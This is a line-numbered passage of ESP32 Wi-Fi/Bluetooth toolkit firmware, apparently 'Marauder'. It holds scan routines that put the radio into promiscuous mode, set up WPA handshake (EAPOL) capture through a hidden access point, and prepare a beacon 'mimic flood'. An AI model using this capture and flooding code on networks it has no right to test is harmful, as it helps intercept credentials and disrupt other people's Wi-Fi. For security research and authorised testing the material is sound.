  556. display_obj.tft.setCursor(0, 100);
  557. display_obj.tft.setTextSize(1);
  558. display_obj.tft.setTextColor(TFT_CYAN);
  559. display_obj.tft.println(F(text_table4[9]));
  560. display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
  561. display_obj.tft.println(F(text_table4[45]));
  562. display_obj.tft.println(text_table4[46] + (String)this->clearStations());
  563. #else
  564. this->clearAPs();
  565. this->clearStations();
  566. #endif
  567. }
  568. void WiFiScan::RunClearSSIDs() {
  569. #ifdef HAS_SCREEN
  570. display_obj.tft.setTextWrap(false);
  571. display_obj.tft.setFreeFont(NULL);
  572. display_obj.tft.setCursor(0, 100);
  573. display_obj.tft.setTextSize(1);
  574. display_obj.tft.setTextColor(TFT_CYAN);
  575. display_obj.tft.println(F(text_table4[11]));
  576. display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
  577. #else
  578. this->clearSSIDs();
  579. #endif
  580. }
  581. void WiFiScan::RunGenerateSSIDs(int count) {
  582. #ifdef HAS_SCREEN
  583. display_obj.tft.setTextWrap(false);
  584. display_obj.tft.setFreeFont(NULL);
  585. display_obj.tft.setCursor(0, 100);
  586. display_obj.tft.setTextSize(1);
  587. display_obj.tft.setTextColor(TFT_CYAN);
  588. display_obj.tft.println(F(text_table4[13]));
  589. display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
  590. display_obj.tft.println(text_table4[15] + (String)ssids->size());
  591. #else
  592. this->generateSSIDs(count);
  593. #endif
  594. }
  595. void WiFiScan::RunShutdownWiFi() {
  596. #ifdef HAS_SCREEN
  597. display_obj.tft.setTextWrap(false);
  598. display_obj.tft.setFreeFont(NULL);
  599. display_obj.tft.setCursor(0, 100);
  600. display_obj.tft.setTextSize(1);
  601. display_obj.tft.setTextColor(TFT_CYAN);
  602. display_obj.tft.print(F(text_table4[16]));
  603. #endif
  604. if (this->wifi_initialized) {
  605. this->shutdownWiFi();
  606. #ifdef HAS_SCREEN
  607. display_obj.tft.setTextColor(TFT_GREEN);
  608. display_obj.tft.println(F("OK"));
  609. #endif
  610. }
  611. else {
  612. #ifdef HAS_SCREEN
  613. display_obj.tft.setTextColor(TFT_RED);
  614. display_obj.tft.println(F(text17));
  615. display_obj.tft.println(F(text_table4[17]));
  616. #endif
  617. }
  618. }
  619. void WiFiScan::RunShutdownBLE() {
  620. #ifdef HAS_SCREEN
  621. display_obj.tft.setTextWrap(false);
  622. display_obj.tft.setFreeFont(NULL);
  623. display_obj.tft.setCursor(0, 100);
  624. display_obj.tft.setTextSize(1);
  625. display_obj.tft.setTextColor(TFT_CYAN);
  626. display_obj.tft.print(F(text_table4[18]));
  627. #endif
  628. if (this->ble_initialized) {
  629. this->shutdownBLE();
  630. #ifdef HAS_SCREEN
  631. display_obj.tft.setTextColor(TFT_GREEN);
  632. display_obj.tft.println(F("OK"));
  633. #endif
  634. }
  635. else {
  636. #ifdef HAS_SCREEN
  637. display_obj.tft.setTextColor(TFT_RED);
  638. display_obj.tft.println(F(text17));
  639. display_obj.tft.println(F(text_table4[19]));
  640. #endif
  641. }
  642. }
  643. void WiFiScan::RunInfo()
  644. {
  645. String sta_mac = this->getStaMAC();
  646. String ap_mac = this->getApMAC();
  647. String free_ram = this->freeRAM();
  648. //Serial.print("STA MAC: ");
  649. //Serial.println(sta_mac);
  650. //Serial.print("AP MAC: ");
  651. //Serial.println(ap_mac);
  652. Serial.println(free_ram);
  653. #ifdef HAS_SCREEN
  654. display_obj.tft.setTextWrap(false);
  655. display_obj.tft.setFreeFont(NULL);
  656. display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
  657. display_obj.tft.setTextSize(1);
  658. display_obj.tft.setTextColor(TFT_CYAN);
  659. display_obj.tft.println(text_table4[20]);
  660. display_obj.tft.println(text_table4[21] + display_obj.version_number);
  661. display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
  662. #endif
  663. if (this->wsl_bypass_enabled) {
  664. #ifdef HAS_SCREEN
  665. display_obj.tft.println(text_table4[23]);
  666. #endif
  667. }
  668. else {
  669. #ifdef HAS_SCREEN
  670. display_obj.tft.println(text_table4[24]);
  671. #endif
  672. }
  673. #ifdef HAS_SCREEN
  674. display_obj.tft.println(text_table4[25] + sta_mac);
  675. display_obj.tft.println(text_table4[26] + ap_mac);
  676. display_obj.tft.println(text_table4[27] + free_ram);
  677. #endif
  678. if (sd_obj.supported) {
  679. #ifdef HAS_SCREEN
  680. display_obj.tft.println(text_table4[28]);
  681. display_obj.tft.print(text_table4[29]);
  682. display_obj.tft.print(sd_obj.card_sz);
  683. display_obj.tft.println("MB");
  684. #endif
  685. }
  686. else {
  687. #ifdef HAS_SCREEN
  688. display_obj.tft.println(text_table4[30]);
  689. display_obj.tft.println(text_table4[31]);
  690. #endif
  691. }
  692. battery_obj.battery_level = battery_obj.getBatteryLevel();
  693. if (battery_obj.i2c_supported) {
  694. #ifdef HAS_SCREEN
  695. display_obj.tft.println(text_table4[32]);
  696. display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
  697. #endif
  698. }
  699. else {
  700. #ifdef HAS_SCREEN
  701. display_obj.tft.println(text_table4[34]);
  702. #endif
  703. }
  704. #ifdef HAS_SCREEN
  705. display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
  706. #endif
  707. }
  708. void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
  709. sd_obj.openCapture("espressif");
  710. #ifdef MARAUDER_FLIPPER
  711. flipper_led.sniffLED();
  712. #else
  713. led_obj.setMode(MODE_SNIFF);
  714. #endif
  715. #ifdef HAS_SCREEN
  716. display_obj.TOP_FIXED_AREA_2 = 48;
  717. display_obj.tteBar = true;
  718. display_obj.print_delay_1 = 15;
  719. display_obj.print_delay_2 = 10;
  720. display_obj.initScrollValues(true);
  721. display_obj.tft.setTextWrap(false);
  722. display_obj.tft.setTextColor(TFT_WHITE, color);
  723. #ifndef MARAUDER_MINI
  724. display_obj.tft.fillRect(0,16,240,16, color);
  725. display_obj.tft.drawCentreString(text_table4[36],120,16,2);
  726. display_obj.touchToExit();
  727. #endif
  728. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  729. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  730. #endif
  731. esp_wifi_init(&cfg);
  732. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  733. esp_wifi_set_mode(WIFI_MODE_NULL);
  734. esp_wifi_start();
  735. esp_wifi_set_promiscuous(true);
  736. esp_wifi_set_promiscuous_filter(&filt);
  737. esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
  738. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  739. this->wifi_initialized = true;
  740. initTime = millis();
  741. }
  742. void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
  743. {
  744. #ifdef MARAUDER_FLIPPER
  745. flipper_led.sniffLED();
  746. #else
  747. led_obj.setMode(MODE_SNIFF);
  748. #endif
  749. sd_obj.openCapture("packet_monitor");
  750. #ifndef MARAUDER_MINI
  751. #ifdef HAS_SCREEN
  752. display_obj.tft.init();
  753. display_obj.tft.setRotation(1);
  754. display_obj.tft.fillScreen(TFT_BLACK);
  755. #endif
  756. #ifdef HAS_SCREEN
  757. #ifdef TFT_SHIELD
  758. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  759. Serial.println("Using TFT Shield");
  760. #else if defined(TFT_DIY)
  761. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  762. Serial.println("Using TFT DIY");
  763. #endif
  764. display_obj.tft.setTouch(calData);
  765. //display_obj.tft.setFreeFont(1);
  766. display_obj.tft.setFreeFont(NULL);
  767. display_obj.tft.setTextSize(1);
  768. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  769. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  770. delay(10);
  771. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  772. display_obj.tftDrawColorKey();
  773. display_obj.tftDrawXScaleButtons(x_scale);
  774. display_obj.tftDrawYScaleButtons(y_scale);
  775. display_obj.tftDrawChannelScaleButtons(set_channel);
  776. display_obj.tftDrawExitScaleButtons();
  777. #endif
  778. #else
  779. #ifdef HAS_SCREEN
  780. display_obj.TOP_FIXED_AREA_2 = 48;
  781. display_obj.tteBar = true;
  782. display_obj.print_delay_1 = 15;
  783. display_obj.print_delay_2 = 10;
  784. display_obj.initScrollValues(true);
  785. display_obj.tft.setTextWrap(false);
  786. display_obj.tft.setTextColor(TFT_WHITE, color);
  787. #ifndef MARAUDER_MINI
  788. display_obj.tft.fillRect(0,16,240,16, color);
  789. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  790. display_obj.touchToExit();
  791. #endif
  792. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  793. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  794. #endif
  795. #endif
  796. Serial.println("Running packet scan...");
  797. esp_wifi_init(&cfg);
  798. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  799. esp_wifi_set_mode(WIFI_MODE_NULL);
  800. esp_wifi_start();
  801. esp_wifi_set_promiscuous(true);
  802. esp_wifi_set_promiscuous_filter(&filt);
  803. esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
  804. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  805. this->wifi_initialized = true;
  806. uint32_t initTime = millis();
  807. }
  808. void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
  809. {
  810. #ifdef MARAUDER_FLIPPER
  811. flipper_led.sniffLED();
  812. #else
  813. led_obj.setMode(MODE_SNIFF);
  814. #endif
  815. num_eapol = 0;
  816. #ifndef MARAUDER_MINI
  817. #ifdef HAS_SCREEN
  818. display_obj.tft.init();
  819. display_obj.tft.setRotation(1);
  820. display_obj.tft.fillScreen(TFT_BLACK);
  821. #endif
  822. sd_obj.openCapture("eapol");
  823. #ifdef HAS_SCREEN
  824. #ifdef TFT_SHIELD
  825. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  826. //Serial.println("Using TFT Shield");
  827. #else if defined(TFT_DIY)
  828. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  829. //Serial.println("Using TFT DIY");
  830. #endif
  831. display_obj.tft.setTouch(calData);
  832. display_obj.tft.setFreeFont(NULL);
  833. display_obj.tft.setTextSize(1);
  834. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  835. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  836. delay(10);
  837. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  838. display_obj.tftDrawEapolColorKey();
  839. display_obj.tftDrawChannelScaleButtons(set_channel);
  840. display_obj.tftDrawExitScaleButtons();
  841. #endif
  842. #else
  843. sd_obj.openCapture("eapol");
  844. #ifdef HAS_SCREEN
  845. display_obj.TOP_FIXED_AREA_2 = 48;
  846. display_obj.tteBar = true;
  847. display_obj.print_delay_1 = 15;
  848. display_obj.print_delay_2 = 10;
  849. display_obj.initScrollValues(true);
  850. display_obj.tft.setTextWrap(false);
  851. display_obj.tft.setTextColor(TFT_WHITE, color);
  852. #ifndef MARAUDER_MINI
  853. display_obj.tft.fillRect(0,16,240,16, color);
  854. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  855. display_obj.touchToExit();
  856. #endif
  857. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  858. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  859. #endif
  860. #endif
  861. esp_wifi_init(&cfg);
  862. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  863. esp_wifi_set_mode(WIFI_MODE_AP);
  864. esp_err_t err;
  865. wifi_config_t conf;
  866. err = esp_wifi_set_protocol(WIFI_IF_AP, WIFI_PROTOCOL_11B | WIFI_PROTOCOL_11G | WIFI_PROTOCOL_11N | WIFI_PROTOCOL_LR);
  867. if (err != 0)
  868. {
  869. Serial.print("could not set protocol : err=0x");
  870. Serial.println(err, HEX);
  871. }
  872. esp_wifi_get_config((wifi_interface_t)WIFI_IF_AP, &conf);
  873. conf.ap.ssid[0] = '\0';
  874. conf.ap.ssid_len = 0;
  875. conf.ap.channel = this->set_channel;
  876. conf.ap.ssid_hidden = 1;
  877. conf.ap.max_connection = 0;
  878. conf.ap.beacon_interval = 60000;
  879. err = esp_wifi_set_config((wifi_interface_t)WIFI_IF_AP, &conf);
  880. if (err != 0)
  881. {
  882. Serial.print("AP config set error, Maurauder SSID might visible : err=0x");
  883. Serial.println(err, HEX);
  884. }
  885. esp_wifi_start();
  886. esp_wifi_set_promiscuous(true);
  887. esp_wifi_set_promiscuous_filter(&filt);
  888. if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  889. esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
  890. else
  891. esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
  892. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  893. this->wifi_initialized = true;
  894. initTime = millis();
  895. }
  896. // Function to prepare for beacon mimic
  897. void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
  898. #ifdef HAS_SCREEN
  899. display_obj.TOP_FIXED_AREA_2 = 48;
  900. display_obj.tteBar = true;
  901. display_obj.print_delay_1 = 15;
  902. display_obj.print_delay_2 = 10;
  903. display_obj.initScrollValues(true);
  904. display_obj.tft.setTextWrap(false);
  905. display_obj.tft.setTextColor(TFT_BLACK, color);
  906. #ifndef MARAUDER_MINI
  907. display_obj.tft.fillRect(0,16,240,16, color);
  908. display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
  909. display_obj.touchToExit();
  910. #endif
  911. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  912. #endif
  913. packets_sent = 0;
  914. esp_wifi_init(&cfg);
  915. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  916. esp_wifi_set_mode(WIFI_AP_STA);
  917. esp_wifi_start();
  918. esp_wifi_set_promiscuous_filter(NULL);
  919. esp_wifi_set_promiscuous(true);
  920. esp_wifi_set_max_tx_power(78);
  921. this->wifi_initialized = true;
  922. initTime = millis();
  923. }
  924. void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
  925. {
  926. sd_obj.openCapture("pwnagotchi");
  927. #ifdef MARAUDER_FLIPPER
  928. flipper_led.sniffLED();
  929. #else
  930. led_obj.setMode(MODE_SNIFF);
  931. #endif
  932. #ifdef HAS_SCREEN
  933. display_obj.TOP_FIXED_AREA_2 = 48;
  934. display_obj.tteBar = true;
  935. display_obj.print_delay_1 = 15;
  936. display_obj.print_delay_2 = 10;
  937. display_obj.initScrollValues(true);
  938. display_obj.tft.setTextWrap(false);
  939. display_obj.tft.setTextColor(TFT_WHITE, color);
  940. #ifndef MARAUDER_MINI
  941. display_obj.tft.fillRect(0,16,240,16, color);
  942. display_obj.tft.drawCentreString(text_table4[37],120,16,2);
  943. display_obj.touchToExit();
  944. #endif
  945. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  946. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  947. #endif
  948. esp_wifi_init(&cfg);
  949. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  950. esp_wifi_set_mode(WIFI_MODE_NULL);
  951. esp_wifi_start();
  952. esp_wifi_set_promiscuous(true);
  953. esp_wifi_set_promiscuous_filter(&filt);
  954. esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
  955. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  956. this->wifi_initialized = true;
  957. initTime = millis();
  958. }
  959. // Function to start running a beacon scan
  960. void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
  961. {
  962. sd_obj.openCapture("beacon");
  963. #ifdef MARAUDER_FLIPPER
  964. flipper_led.sniffLED();
  965. #else
  966. led_obj.setMode(MODE_SNIFF);
  967. #endif
  968. #ifdef HAS_SCREEN
  969. display_obj.TOP_FIXED_AREA_2 = 48;
  970. display_obj.tteBar = true;
  971. display_obj.print_delay_1 = 15;
  972. display_obj.print_delay_2 = 10;
  973. display_obj.initScrollValues(true);
  974. display_obj.tft.setTextWrap(false);
  975. display_obj.tft.setTextColor(TFT_WHITE, color);
  976. #ifndef MARAUDER_MINI
  977. display_obj.tft.fillRect(0,16,240,16, color);
  978. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  979. display_obj.touchToExit();
  980. #endif
  981. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  982. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  983. #endif
  984. esp_wifi_init(&cfg);
  985. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  986. esp_wifi_set_mode(WIFI_MODE_NULL);
  987. esp_wifi_start();
  988. esp_wifi_set_promiscuous(true);
  989. esp_wifi_set_promiscuous_filter(&filt);
  990. esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
  991. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  992. this->wifi_initialized = true;
  993. initTime = millis();
  994. }
  995. void WiFiScan::RunStationScan(uint8_t scan_mode, uint16_t color)
  996. {
  997. sd_obj.openCapture("station");
  998. #ifdef MARAUDER_FLIPPER
  999. flipper_led.sniffLED();
  1000. #else
  1001. led_obj.setMode(MODE_SNIFF);
  1002. #endif
  1003. #ifdef HAS_SCREEN
  1004. display_obj.TOP_FIXED_AREA_2 = 48;
  1005. display_obj.tteBar = true;
  1006. display_obj.print_delay_1 = 15;
  1007. display_obj.print_delay_2 = 10;
  1008. display_obj.initScrollValues(true);
  1009. display_obj.tft.setTextWrap(false);
  1010. display_obj.tft.setTextColor(TFT_WHITE, color);
  1011. #ifndef MARAUDER_MINI
  1012. display_obj.tft.fillRect(0,16,240,16, color);
  1013. display_obj.tft.drawCentreString(text_table1[59],120,16,2);
  1014. display_obj.touchToExit();
  1015. #endif
  1016. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  1017. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1018. #endif
  1019. esp_wifi_init(&cfg);
  1020. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  1021. esp_wifi_set_mode(WIFI_MODE_NULL);
  1022. esp_wifi_start();
  1023. esp_wifi_set_promiscuous(true);
  1024. esp_wifi_set_promiscuous_filter(&filt);
  1025. esp_wifi_set_promiscuous_rx_cb(&stationSnifferCallback);
  1026. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1027. this->wifi_initialized = true;
  1028. initTime = millis();
  1029. }
  1030. void WiFiScan::RunRawScan(uint8_t scan_mode, uint16_t color)
  1031. {
  1032. sd_obj.openCapture("raw");
  1033. #ifdef MARAUDER_FLIPPER
  1034. flipper_led.sniffLED();
  1035. #else
  1036. led_obj.setMode(MODE_SNIFF);
  1037. #endif
  1038. #ifdef HAS_SCREEN
  1039. display_obj.TOP_FIXED_AREA_2 = 48;
  1040. display_obj.tteBar = true;
  1041. display_obj.print_delay_1 = 15;
  1042. display_obj.print_delay_2 = 10;
  1043. display_obj.initScrollValues(true);
  1044. display_obj.tft.setTextWrap(false);
  1045. display_obj.tft.setTextColor(TFT_WHITE, color);
  1046. #ifndef MARAUDER_MINI
  1047. display_obj.tft.fillRect(0,16,240,16, color);
  1048. display_obj.tft.drawCentreString(text_table1[58],120,16,2);
  1049. display_obj.touchToExit();
  1050. #endif
  1051. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  1052. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1053. #endif
  1054. esp_wifi_init(&cfg);
  1055. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  1056. esp_wifi_set_mode(WIFI_MODE_NULL);
  1057. esp_wifi_start();
  1058. esp_wifi_set_promiscuous(true);
  1059. esp_wifi_set_promiscuous_filter(&filt);
  1060. esp_wifi_set_promiscuous_rx_cb(&rawSnifferCallback);
  1061. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1062. this->wifi_initialized = true;
  1063. initTime = millis();
  1064. }
  1065. void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
  1066. {
  1067. sd_obj.openCapture("deauth");
  1068. #ifdef MARAUDER_FLIPPER
  1069. flipper_led.sniffLED();
  1070. #else
  1071. led_obj.setMode(MODE_SNIFF);
  1072. #endif
  1073. #ifdef HAS_SCREEN
  1074. display_obj.TOP_FIXED_AREA_2 = 48;
  1075. display_obj.tteBar = true;
  1076. display_obj.print_delay_1 = 15;
  1077. display_obj.print_delay_2 = 10;
  1078. display_obj.initScrollValues(true);
  1079. display_obj.tft.setTextWrap(false);
  1080. display_obj.tft.setTextColor(TFT_BLACK, color);
  1081. #ifndef MARAUDER_MINI
  1082. display_obj.tft.fillRect(0,16,240,16, color);
  1083. display_obj.tft.drawCentreString(text_table4[39],120,16,2);
  1084. display_obj.touchToExit();
  1085. #endif
  1086. display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
  1087. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1088. #endif
  1089. esp_wifi_init(&cfg);
  1090. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  1091. esp_wifi_set_mode(WIFI_MODE_NULL);
  1092. esp_wifi_start();
  1093. esp_wifi_set_promiscuous(true);
  1094. esp_wifi_set_promiscuous_filter(&filt);
  1095. esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
  1096. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1097. this->wifi_initialized = true;
  1098. initTime = millis();
  1099. }
  1100. // Function for running probe request scan
  1101. void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
  1102. {
  1103. sd_obj.openCapture("probe");
  1104. #ifdef MARAUDER_FLIPPER
  1105. flipper_led.sniffLED();
  1106. #else
  1107. led_obj.setMode(MODE_SNIFF);
  1108. #endif
  1109. #ifdef HAS_SCREEN
  1110. display_obj.TOP_FIXED_AREA_2 = 48;
  1111. display_obj.tteBar = true;
  1112. display_obj.print_delay_1 = 15;
  1113. display_obj.print_delay_2 = 10;
  1114. display_obj.initScrollValues(true);
  1115. display_obj.tft.setTextWrap(false);
  1116. display_obj.tft.setTextColor(TFT_BLACK, color);
  1117. #ifndef MARAUDER_MINI
  1118. display_obj.tft.fillRect(0,16,240,16, color);
  1119. display_obj.tft.drawCentreString(text_table4[40],120,16,2);
  1120. display_obj.touchToExit();
  1121. #endif
  1122. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  1123. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1124. #endif
  1125. esp_wifi_init(&cfg);
  1126. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  1127. esp_wifi_set_mode(WIFI_MODE_NULL);
  1128. esp_wifi_start();
  1129. esp_wifi_set_promiscuous(true);
  1130. esp_wifi_set_promiscuous_filter(&filt);
  1131. esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
  1132. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1133. this->wifi_initialized = true;
  1134. initTime = millis();
  1135. }
  1136. // Function to start running any BLE scan
  1137. void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
  1138. {
  1139. #ifdef HAS_BT
  1140. #ifdef HAS_SCREEN
  1141. display_obj.print_delay_1 = 50;
  1142. display_obj.print_delay_2 = 20;
  1143. #endif
  1144. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  1145. NimBLEDevice::setScanDuplicateCacheSize(200);
  1146. NimBLEDevice::init("");
  1147. pBLEScan = NimBLEDevice::getScan(); //create new scan
  1148. if (scan_mode == BT_SCAN_ALL)
  1149. {
  1150. #ifdef HAS_SCREEN
  1151. display_obj.TOP_FIXED_AREA_2 = 48;
  1152. display_obj.tteBar = true;
  1153. display_obj.initScrollValues(true);
  1154. display_obj.tft.setTextWrap(false);
  1155. display_obj.tft.setTextColor(TFT_BLACK, color);
  1156. #ifndef MARAUDER_MINI
  1157. display_obj.tft.fillRect(0,16,240,16, color);
  1158. display_obj.tft.drawCentreString(text_table4[41],120,16,2);
  1159. display_obj.touchToExit();
  1160. #endif
  1161. display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
  1162. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1163. #endif
  1164. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
  1165. }
  1166. else if (scan_mode == BT_SCAN_SKIMMERS)
  1167. {
  1168. #ifdef HAS_SCREEN
  1169. display_obj.TOP_FIXED_AREA_2 = 160;
  1170. display_obj.tteBar = true;
  1171. display_obj.tft.fillScreen(TFT_DARKGREY);
  1172. display_obj.initScrollValues(true);
  1173. display_obj.tft.setTextWrap(false);
  1174. display_obj.tft.setTextColor(TFT_BLACK, color);
  1175. display_obj.tft.fillRect(0,16,240,16, color);
  1176. display_obj.tft.drawCentreString(text_table4[42],120,16,2);
  1177. display_obj.twoPartDisplay(text_table4[43]);
  1178. display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
  1179. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1180. #endif
  1181. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
  1182. }
  1183. pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
  1184. pBLEScan->setInterval(97);
  1185. pBLEScan->setWindow(37); // less or equal setInterval value
  1186. pBLEScan->setMaxResults(0);
  1187. pBLEScan->start(0, scanCompleteCB, false);
  1188. Serial.println("Started BLE Scan");
  1189. this->ble_initialized = true;
  1190. initTime = millis();
  1191. #endif
  1192. }
  1193. // Function that is called when BLE scan is completed
  1194. #ifdef HAS_BT
  1195. void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
  1196. printf("Scan complete!\n");
  1197. printf("Found %d devices\n", scanResults.getCount());
  1198. scanResults.dump();
  1199. } // scanCompleteCB
  1200. #endif
  1201. // Function to extract MAC addr from a packet at given offset
  1202. void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
  1203. sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
  1204. }
  1205. void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1206. {
  1207. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1208. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1209. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1210. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1211. int len = snifferPacket->rx_ctrl.sig_len;
  1212. String display_string = "";
  1213. String src_addr_string = "";
  1214. if (type == WIFI_PKT_MGMT)
  1215. {
  1216. len -= 4;
  1217. }
  1218. int fctl = ntohs(frameControl->fctl);
  1219. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1220. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1221. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1222. //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
  1223. //{
  1224. char addr[] = "00:00:00:00:00:00";
  1225. getMAC(addr, snifferPacket->payload, 10);
  1226. src_addr_string.concat(addr);
  1227. bool match = false;
  1228. for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
  1229. if (src_addr_string.startsWith(espressif_macs[i])) {
  1230. match = true;
  1231. break;
  1232. }
  1233. }
  1234. if (!match)
  1235. return;
  1236. delay(random(0, 10));
  1237. Serial.print("RSSI: ");
  1238. Serial.print(snifferPacket->rx_ctrl.rssi);
  1239. Serial.print(" Ch: ");
  1240. Serial.print(snifferPacket->rx_ctrl.channel);
  1241. Serial.print(" BSSID: ");
  1242. Serial.print(addr);
  1243. //display_string.concat(" RSSI: ");
  1244. //display_string.concat(snifferPacket->rx_ctrl.rssi);
  1245. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1246. //display_string.concat(" ");
  1247. display_string.concat(" -> ");
  1248. display_string.concat(addr);
  1249. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1250. {
  1251. display_string.concat(" ");
  1252. }
  1253. Serial.print(" ");
  1254. #ifdef HAS_SCREEN
  1255. display_obj.loading = true;
  1256. display_obj.display_buffer->add(display_string);
  1257. display_obj.loading = false;
  1258. #endif
  1259. Serial.println();
  1260. if (save_packet)
  1261. sd_obj.addPacket(snifferPacket->payload, len);
  1262. //}
  1263. }
  1264. void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1265. {
  1266. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1267. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
